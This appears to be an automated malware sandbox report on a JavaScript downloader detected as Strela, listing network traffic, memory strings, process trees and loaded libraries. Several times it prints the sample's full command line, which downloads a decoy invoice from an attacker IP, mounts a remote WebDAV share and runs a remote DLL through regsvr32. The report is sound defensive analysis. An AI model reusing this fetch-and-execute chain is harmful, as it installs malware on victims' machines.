HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000003.1500866911.0000024CB6736000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1502696092.0000024CB6716000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1562228406.000001D908E08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1562228406.000001D908E65000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1562228406.000001D908E31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1562228406.000001D908E31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/3
Source: net.exe, 00000007.00000002.1562228406.000001D908E31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/O
Source: net.exe, 00000007.00000002.1562228406.000001D908E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s
Source: svchost.exe, 00000009.00000002.2800558279.000002563AA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1561186422.000002563A870000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3164, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3254519122657813770.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6452:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0cfopo5h.0ex.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3254519122657813770.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1652,i,2960516185180761318,10933091778614446208,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1652,i,2960516185180761318,10933091778614446208,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
